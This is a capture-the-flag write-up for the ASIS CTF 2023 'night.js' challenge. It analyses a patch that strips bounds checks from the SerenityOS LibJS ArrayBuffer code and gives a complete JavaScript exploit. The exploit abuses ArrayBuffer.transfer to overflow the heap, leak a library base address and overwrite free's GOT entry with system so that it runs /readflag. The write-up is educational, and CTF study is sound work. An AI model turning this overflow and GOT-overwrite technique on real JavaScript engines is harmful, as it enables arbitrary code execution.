ASIS CTF 2023 - night.js (JavaScript Engine)

jspwnnn
nc 172.86.97.8 1337

  • [11 solves / 271 points]

After CTF, I solved it myself without referring to Writeups. It was really fun! xD.
This challenge is related with JavaScript Engine, but it had different exploit solution with the other JavaScript Engine like JSC.

Analysis

chall.txt

1
2
3
commit hash: 799b465fac5672f167d6fec599fe167bce92862d
You can build js with: `./Meta/serenity.sh run lagom js`.
You probably don't need to recompile since the provided binaries have debug symbols.

chall.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
diff --git a/./AK/ByteBuffer.h b/../patched-serenity/AK/ByteBuffer.h
index e2fc73bbfe..7bb7903e80 100644
--- a/./AK/ByteBuffer.h
+++ b/../patched-serenity/AK/ByteBuffer.h
@@ -104,7 +104,7 @@ public:

[[nodiscard]] u8& operator[](size_t i)
{
- VERIFY(i < m_size);
+ // VERIFY(i < m_size);
return data()[i];
}

diff --git a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
index 2f65f7b6ca..ee9a1ca00f 100644
--- a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
+++ b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
@@ -80,10 +80,10 @@ void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const&
VERIFY(from_index + count <= from_size);

// 4. Let toSize be the number of bytes in toBlock.
- auto to_size = to_block.size();
+ // auto to_size = to_block.size();

// 5. Assert: toIndex + count ≤ toSize.
- VERIFY(to_index + count <= to_size);
+ // VERIFY(to_index + count <= to_size);

// 6. Repeat, while count > 0,
while (count > 0) {
@@ -215,6 +215,7 @@ ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer

// 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
auto copy_length = min(new_byte_length, array_buffer.byte_length());
+ if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();

// 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
// 12. Let toBlock be newBuffer.[[ArrayBufferData]].
diff --git a/./Userland/Utilities/js.cpp b/../patched-serenity/Userland/Utilities/js.cpp
index 78fe2e699c..1dace537ab 100644
--- a/./Userland/Utilities/js.cpp
+++ b/../patched-serenity/Userland/Utilities/js.cpp
@@ -343,34 +343,34 @@ void ReplObject::initialize(JS::Realm& realm)
{
Base::initialize(realm);

- define_direct_property("global", this, JS::Attribute::Enumerable);
- u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
- define_native_function(realm, "exit", exit_interpreter, 0, attr);
- define_native_function(realm, "help", repl_help, 0, attr);
- define_native_function(realm, "save", save_to_file, 1, attr);
- define_native_function(realm, "loadINI", load_ini, 1, attr);
- define_native_function(realm, "loadJSON", load_json, 1, attr);
- define_native_function(realm, "print", print, 1, attr);
-
- define_native_accessor(
- realm,
- "_",
- [](JS::VM&) {
- return g_last_value.value();
- },
- [](JS::VM& vm) -> JS::ThrowCompletionOr<JS::Value> {
- auto& global_object = vm.get_global_object();
- VERIFY(is<ReplObject>(global_object));
- outln("Disable writing last value to '_'");
-
- // We must delete first otherwise this setter gets called recursively.
- TRY(global_object.internal_delete(JS::PropertyKey { "_" }));
-
- auto value = vm.argument(0);
- TRY(global_object.internal_set(JS::PropertyKey { "_" }, value, &global_object));
- return value;
- },
- attr);
+ // define_direct_property("global", this, JS::Attribute::Enumerable);
+ // u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
+ // define_native_function(realm, "exit", exit_interpreter, 0, attr);
+ // define_native_function(realm, "help", repl_help, 0, attr);
+ // define_native_function(realm, "save", save_to_file, 1, attr);
+ // define_native_function(realm, "loadINI", load_ini, 1, attr);
+ // define_native_function(realm, "loadJSON", load_json, 1, attr);
+ // define_native_function(realm, "print", print, 1, attr);
+
+ // define_native_accessor(
+ // realm,
+ // "_",
+ // [](JS::VM&) {
+ // return g_last_value.value();
+ // },
+ // [](JS::VM& vm) -> JS::ThrowCompletionOr<JS::Value> {
+ // auto& global_object = vm.get_global_object();
+ // VERIFY(is<ReplObject>(global_object));
+ // outln("Disable writing last value to '_'");
+
+ // // We must delete first otherwise this setter gets called recursively.
+ // TRY(global_object.internal_delete(JS::PropertyKey { "_" }));
+
+ // auto value = vm.argument(0);
+ // TRY(global_object.internal_set(JS::PropertyKey { "_" }, value, &global_object));
+ // return value;
+ // },
+ // attr);
}

JS_DEFINE_NATIVE_FUNCTION(ReplObject::save_to_file)
@@ -429,11 +429,11 @@ void ScriptObject::initialize(JS::Realm& realm)
{
Base::initialize(realm);

- define_direct_property("global", this, JS::Attribute::Enumerable);
- u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
- define_native_function(realm, "loadINI", load_ini, 1, attr);
- define_native_function(realm, "loadJSON", load_json, 1, attr);
- define_native_function(realm, "print", print, 1, attr);
+ // define_direct_property("global", this, JS::Attribute::Enumerable);
+ // u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
+ // define_native_function(realm, "loadINI", load_ini, 1, attr);
+ // define_native_function(realm, "loadJSON", load_json, 1, attr);
+ // define_native_function(realm, "print", print, 1, attr);
}

JS_DEFINE_NATIVE_FUNCTION(ScriptObject::load_ini)

I got errors when I applied it to my source using git apply. So I modified source codes myself.
By the way, when I checked it I knew this challenge is from serenity.

Analysis

The important part is array_buffer_copy_and_detach function in ArrayBuffer.cpp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// 25.1.2.14 ArrayBufferCopyAndDetach ( arrayBuffer, newLength, preserveResizability ), https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfertofixedlength
ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer& array_buffer, Value new_length, PreserveResizability)
{
auto& realm = *vm.current_realm();

// 1. Perform ? RequireInternalSlot(arrayBuffer, [[ArrayBufferData]]).

// FIXME: 2. If IsSharedArrayBuffer(arrayBuffer) is true, throw a TypeError exception.

// 3. If newLength is undefined, then
// a. Let newByteLength be arrayBuffer.[[ArrayBufferByteLength]].
// 4. Else,
// a. Let newByteLength be ? ToIndex(newLength).
auto new_byte_length = new_length.is_undefined() ? array_buffer.byte_length() : TRY(new_length.to_index(vm));

// 5. If IsDetachedBuffer(arrayBuffer) is true, throw a TypeError exception.
if (array_buffer.is_detached())
return vm.throw_completion<TypeError>(ErrorType::DetachedArrayBuffer);

// FIXME: 6. If preserveResizability is preserve-resizability and IsResizableArrayBuffer(arrayBuffer) is true, then
// a. Let newMaxByteLength be arrayBuffer.[[ArrayBufferMaxByteLength]].
// 7. Else,
// a. Let newMaxByteLength be empty.

// 8. If arrayBuffer.[[ArrayBufferDetachKey]] is not undefined, throw a TypeError exception.
if (!array_buffer.detach_key().is_undefined())
return vm.throw_completion<TypeError>(ErrorType::DetachKeyMismatch, array_buffer.detach_key(), js_undefined());

// 9. Let newBuffer be ? AllocateArrayBuffer(%ArrayBuffer%, newByteLength, FIXME: newMaxByteLength).
auto* new_buffer = TRY(allocate_array_buffer(vm, realm.intrinsics().array_buffer_constructor(), new_byte_length));

// 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
auto copy_length = min(new_byte_length, array_buffer.byte_length());
if(array_buffer.byte_length() > 0x100) {
copy_length = array_buffer.byte_length();
}

// 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
// 12. Let toBlock be newBuffer.[[ArrayBufferData]].
// 13. Perform CopyDataBlockBytes(toBlock, 0, fromBlock, 0, copyLength).
// 14. NOTE: Neither creation of the new Data Block nor copying from the old Data Block are observable. Implementations may implement this method as a zero-copy move or a realloc.
copy_data_block_bytes(new_buffer->buffer(), 0, array_buffer.buffer(), 0, copy_length);

// 15. Perform ! DetachArrayBuffer(arrayBuffer).
TRY(detach_array_buffer(vm, array_buffer));

// 16. Return newBuffer.
return new_buffer;
}

I wanted to trigger this function, But I didn’t know how to trigger it. So I read mozilla’s document. The reason I read this part was simply because this function was related to arraybuffer. (guessing with file name ^^)

1
2
ArrayBuffer.prototype.transfer() Experimental
Creates a new ArrayBuffer with the same byte content as this buffer, then detaches this buffer.

I realized I could use transfer. I was able to trigger it using the script below.

1
2
3
var buffer = new ArrayBuffer(0x120);
var view = new Uint32Array(buffer)
buffer.transfer(0x8);

The important point in this function is how define copy_length. When size of old buffer(arrray_buffer) is over 0x100, size of new_buffer is same as old buffer. It is really important that copy_length is newly redefined because the argument of transfer is passed to malloc as a size, which creates a new buffer.

In the JavaScript above is original copy_length is 0x20, but size of array_buffer is over 0x100, so it is redefined as 0x120!

Now let’s analyze the function below. (copy_data_block_bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 6.2.9.3 CopyDataBlockBytes ( toBlock, toIndex, fromBlock, fromIndex, count ), https://tc39.es/ecma262/#sec-copydatablockbytes
void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const& from_block, u64 from_index, u64 count)
{
// 1. Assert: fromBlock and toBlock are distinct values.
VERIFY(&to_block != &from_block);

// 2. Let fromSize be the number of bytes in fromBlock.
auto from_size = from_block.size();

// 3. Assert: fromIndex + count ≤ fromSize.
VERIFY(from_index + count <= from_size);

// 4. Let toSize be the number of bytes in toBlock.
// auto to_size = to_block.size();

// 5. Assert: toIndex + count ≤ toSize.
// VERIFY(to_index + count <= to_size);

// 6. Repeat, while count > 0,
while (count > 0) {
// ..

// ii. Set toBlock[toIndex] to fromBlock[fromIndex].
to_block[to_index] = from_block[from_index]; // here!!!

// c. Set toIndex to toIndex + 1.
++to_index;

// d. Set fromIndex to fromIndex + 1.
++from_index;

// e. Set count to count - 1.
--count;
// printf("\n");
}

// 7. Return unused.
}

There is no to_index + count <= to_size check. So I can trigger overflow in this line.

1
2
// ii. Set toBlock[toIndex] to fromBlock[fromIndex].
to_block[to_index] = from_block[from_index]; // here!!!

It was natural, since length(size) of to_block is smaller than count.

This is the end of the vulnerabilities I analyzed. Now Let’s go exploit. ^^

Exploit

Exploit Scenario

  1. libc leak

    • I leaked address of liblagom-js.so.0.
    • During this process, I conducted various experiments.
    • I knew the return value of transfer can made type array. So I tried it and then I can did it. (Actually I think I was lucky. ^^)
    • However, in this process, it was necessary to set values such as view[4], view[5], and view[6]. I relied on dynamic analysis(gdb).
    • view[4]: it means size of victim. when this had too low value, I can’t made type array.
    • view[5]: whether it is an inline buffer. (I didn’t know what this meant when I solved.)
    • view[6]: whether it is detached.
  2. GOT overwriting

    • I checked the mapping memory(vmmap instruction in gef debugger) to see if this was possible or not.
    • When I called transer, I checked the free is called. To be exact, it is called when the old buffer is detached. (detach_array_buffer)
    • So I decided to overwrite free’s got with a system function!
    • Actually, I had concerns about how to give an argument to the system.
    • The answer was to write to an Array Buffer.
    • In this challenge, I need to execute /readflag instead of sh to read flag.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
function hex(x) {
if (x < 0)
return `-${hex(-x)}`;
return `0x${x.toString(16)}`;
}

function pwn() {
var buffer = new ArrayBuffer(0x120);
view = new BigUint64Array(buffer);

view[4] = 0x500n; // size
view[5] = 1n; // from_block = (__int64 *)*a3;
view[6] = 1n; // is_detached

var buffer2 = buffer.transfer(0x20);
console.log(buffer2.byteLength);
var victim = new BigUint64Array(buffer2);

/*
leak
*/
liblagom_js_base = victim[8] - 0x67dda8n; // liblagom-js.so.0
console.log("liblagom_js_base: " + hex(liblagom_js_base));

/*
Exploit setup
*/
var buf = new ArrayBuffer(0x120);
hax = new BigUint64Array(buf);

free_got = liblagom_js_base + 0x69b420n;
system = liblagom_js_base - 0x5c4dd0n;
console.log("free_got: "+ hex(free_got));
console.log("system: "+ hex(system));

var b = new ArrayBuffer(0x120);
v = new BigUint64Array(b);

v[0] = 0x616c66646165722fn;
v[1] = 0x0000000000000067n;

v[4] = 0x500n; // size
v[5] = 1n; // from_block = (__int64 *)*a3;
v[6] = 1n; // is_detached

// got overwriting
victim[64] = free_got;
hax[0] = system;

/*
Exploit
*/
b.transfer(0x20);
}

pwn();